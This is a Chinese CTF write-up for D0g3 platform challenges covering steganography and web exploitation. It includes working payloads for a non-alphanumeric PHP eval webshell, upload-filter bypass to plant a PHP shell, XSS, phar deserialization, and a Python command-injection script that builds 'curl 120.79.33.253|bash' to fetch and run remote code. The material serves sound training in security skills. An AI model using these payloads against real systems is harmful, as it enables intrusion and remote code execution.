MISC部分

0x01:听音乐听音乐

下载下来解压后得到如下一个mp3文件,一个jpg文件:

mp3隐写我们常用的工具是mp3stego
mp3stego的用法如下:
解密

1
decode.exe -X -P pass svega_stego.mp3

加密

1
encode.exe -E hidden_text.txt -P pass svega.wav svega_stego.mp3

我们这里有了mp3文件,那么还差一个密码,刚好点击图片文件打不开,于是将图片文件后缀改为txt
然后ctrl+f 搜索pass

然后得到密码
执行命令

1
Decode.exe -X -P password svega_stego.mp3

得到svega_stego.mp3.txt,打开文件:

最后再base64解码一下得到flag

0x02:热烈祝贺中国共产党成立92周年!

下载得到一个压缩包zip.zip,题目已经提示了是伪加密了,直接用工具ZipCenOp破解伪加密

1
java -jar ZipCenOp.jar r zip.zip


然后正常解压得到两个文件,flag.rar和提示.jpg
flag.rar解压需要密码,那么提示自然就是提示密码得了
图片是纪念中国共产党成立97周年,那么密码很有可能就是中国共产党成立的时间

然后试了下不对,又试了下建党纪念日19210701,成功解压
解压后得到一张习主席的照片,直接后缀为txt,打开发现了jsfuck

复制下来丢浏览器的console里面跑

最后还需要把大括号里里面的base64解码一次得到flag

1
D0g3{qu1te_easSSSSSy_fighting}

0x03:Simple Picture

保存图片,直接用foremost分离,得到一个png,打开是一张二维码
然后直接扫码得到一串字符
然后base64解码得到flag


Web部分

bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include("flag.php");
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";

这是金融行业ctf比赛的一道原题
传入一个code,然后用正则匹配的方式限制不能出现字母,数字和下划线
最终我们的目的是要执行getFlag()函数来得到flag
看到这里我们想到p神的一篇文章《一些不包含数字和字母的webshell》
文章链接:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
文章中已经告诉了我们怎么绕过对字母和数字的限制,那么用同样的思路我们可以绕过下划线
我们的做法是先构造一个GET变量,然后通过GET变量传入我们需要执行的代码
参考文章:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

1
$¥="`{{{"^"?<>/" // _GET

利用${}中的代码会被执行的特点

1
${$¥}[¥](${$¥}[¥¥]);

传参

1
&¥=Flag

最终payload:

1
?code=$¥="`{{{"^"?<>/";${$¥}[¥](${$¥}[¥¥]);&¥=Flag

得到flag

1
D0g3{900150983cd24fb0d6963f7d28e17f72}

serialize

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);

简单的字符串反序列化
payload:

1
?str=s:7:"D0g3!!!"

得到flag

1
D0g3{821448c05d0506b6bb468e8aeffbe87b}

wafupload(2018网鼎杯第二场)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}

#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}

$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Upload Your Shell</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="text" name="filename"><br>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>


分析代码逻辑可知,如果我们没有指定filename,那么保存的文件名就用上传文件的文件名。
文件名确定后有一个is_array来判断,如果不是数组则会以”.”作为分隔符来切割成数组
然后会用end()函数来取出数组最后一个元素,来判断是否在后缀白名单里面
最后会用数组的第一个元素,以及元素总数减一号元素拼接为最终的文件名

而php的数组是一个键值对,那么当我们构造如下数组

1
$file=[1=>'php', 0=>'jpg']

end($file)结果为jpg
而$file[count($file) - 1]的结果为php

因此我们抓包,然后将filename该为数组[1=>’php’, 0=>’jpg’],最终拼接的后缀名就为php

菜刀连接得到flag

1
D0g3{18be1a4914ab770a57d5ac92427bcfaf}

htmlspecialchars

id的值会出现在input文本框中

然后查看源代码,发现value的值(也就是id的值)是用单引号闭合的

结合题目htmlspecialchars,此题考的是htmlspecialchars默认不编码单引号,结合javascript:伪协议就可以xss了
payload

1
http://120.79.33.253:9004/?id=1'onmouseover='javascript:alert(1)

然后再把鼠标移动到input文本框,即可实现弹窗

然后需要向出题人索要flag
其他payload:

1
2
3
1'+onfocus=location=this.name+autofocus+name='javascript:alert(1)
1'+onfocus=alert(1)+'
1'+onclick=alert(1)+'

1
D0g3{7a915da604c1b26d03e0b494ffbcc3a9}

xss1

也是一道xss的,直接闭合单引号就可以了
payload

1
1"+onfocus="javascript:alert(1)


flag

1
d0g3{xss_is_easy}

数字比较

题目源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = "xxxxx";
$one = ord('1');
$nine = ord('9');
$number = '3735929050';

// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++) // len=10
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

读懂源码就很简单了,number的长度为10
然后我们输入的password前10位必须为0
password的值又需要和number的值相等
很简单的一个常识

1
00000000003735929050=3735929050

payload:

1
http://206.189.214.99:1080/2.php?password=00000000003735929050

flag如下:

1
D0g3{This_is_so_easy}

Match it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include 'f1agi3hEre.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>

在上面的代码中

  • [:graph:] 匹配字符
  • [:punct:] 匹配标点符号
  • [:digit:] 匹配数字
  • [:upper:] 匹配大写字符
  • [:lower:] 匹配小写字符

分析代码可知,要得到flag需要满足如下几个条件:
1.password的长度大于等于12
2.password至少在上面五种(字符,标点,数字,大写字符,小写字符)中匹配到三种
3.password的值的大小为42

这里用科学计数法和加号绕过
payload

1
password=42.0e+000000000000000000

flag

1
D0g3{Pr3g_m4atch1_c4nt_st0p_y0u!!!!}

###WEB|Linux
可以参考我这篇文章

1
https://xz.aliyun.com/t/2748

直接放脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#encoding:utf-8
import requests
baseurl = "http://206.189.214.99:4080/?dog3="
reset = "http://206.189.214.99:4080/?reset"
s = requests.session()
s.get(reset)
# 将ls -t 写入文件_
list=[
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>y",
"ls>>_"
]

# curl 120.79.33.253|bash
list2=[
">bash",
">\|\\",
">53\\",
">2\\",
">3.\\",
">3\\",
">9.\\",
">7\\",
">0.\\",
">12\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in list:
url = baseurl+str(i)
s.get(url)

for j in list2:
url = baseurl+str(j)
s.get(url)

s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
#s.get(reset)

vps上面监听7777端口

得到flag

1
d0g3{linux is simple}

不认真的upload

题目给了提示,phar伪协议
先上传一个gif得到文件路径

访问flag.php
查看源代码发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$recieve = $_GET['filename'];

class flag{
var $file;
private $flag = '****';

function __destruct(){
if ($this->file == 'phar'){
echo $this->flag;
}
}
}

file_get_contents($recieve);

看到这段代码,想起了最近出现的一个phar对象注入漏洞

1
https://paper.seebug.org/680/

那么我们先在本地将php.ini中phar.readonly选项的值设置为Off
然后
新建一个phar_gen.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class flag {
public $file='phar';
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new flag();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行该文件,生成一个phar.phar
因为只能上传gif文件,那么我们将后缀改为gif,然后上传得到文件路径

然后访问flag.php,带上get参数filename
payload:

1
?filename=phar://upload_file/phar.gif

flag

1
D0g3{P_har_i3_uSef0l}

BabyFirstRevenge

直接参考我这篇文章即可:

1
https://xz.aliyun.com/t/2748

flag

1
D0g3{ad8bb67554c3bb3161cc6a99f115813a}

最后更新: 2018年09月21日 22:55

原始链接: http://drac0nids.top/2018/08/14/道格ctf平台WriteUp/

× 请我吃糖~
打赏二维码